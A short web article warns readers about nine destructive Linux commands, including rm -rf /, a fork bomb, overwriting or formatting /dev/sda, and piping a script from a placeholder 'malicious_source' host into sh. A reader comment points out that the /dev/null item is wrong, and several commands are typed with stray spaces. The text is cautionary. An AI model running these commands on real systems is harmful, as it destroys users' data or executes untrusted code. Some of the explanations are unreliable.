These 9 Linux commands if executed can wreak irreparable damage to any computer

Most Linux commands are generally useful, but they are not the ones that are the subject matter of today. Here, we list down a total of 9 Linux commands that can wreak havoc to any computer that you use, and that can get you into a lot of trouble.

1. rm -rf

The command rm -rf / deletes everything, and that includes files on your hard drive and files on connected removable media devices.

2.: () {: |: &} ;:

:(){ :|: & };: is also known as Fork Bomb to people who possess accurate knowledge of it. It is a denial-of-service attack against a Linux System and continues to repeat itself until the system freezes.

3. command> / dev / sda

This Linux command writes raw data and all files on the block will be replaced with raw data, resulting in total loss of data in that block.

4. mv directory / dev / null

This command sends all your personal files into a black hole, which pretty much means that they will be lost to you forever.

5. wget http: // malicious_source -O | sh

The above line downloads a script from the web and sends it to sh, which executes the contents of the script. It’s always dangerous if you are running untrusted scripts, so avoid this at all costs.

6. Mkfs.ext3 / dev / sda

This will leave the hard drive without any recoverable data, thus leaving your system into an unrecoverable stage.

7. > File

This command is used to release the file content. If the above command is executed with a typing error or ignorance as ‘> xt.conf’ will write the configuration file or any other system or configuration file.

8. ^foo^bar

Not as harmful as the rest of them, but this command is used to edit the previous run command without the need of retyping the whole command again. In the wrong situation, it can become extremely harmful if you didn’t take the risk of thoroughly checking the change in original command using ^foo^bar command.

9. Decompression Bomb

When you’re asked to open a comprised file, the contents of the file contain highly compressed data. Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system so avoid this no matter what happens.

Now that you are familiar with the latest Linux commands, you will do very well to avoid them.


  1. #4 is actually wrong. /dev/null is a file and you cannot move a directory “into” it. You cannot move a file into it either. It’s not meant to work that way. It’s used with the redirection operators to discard standard output or standard error.


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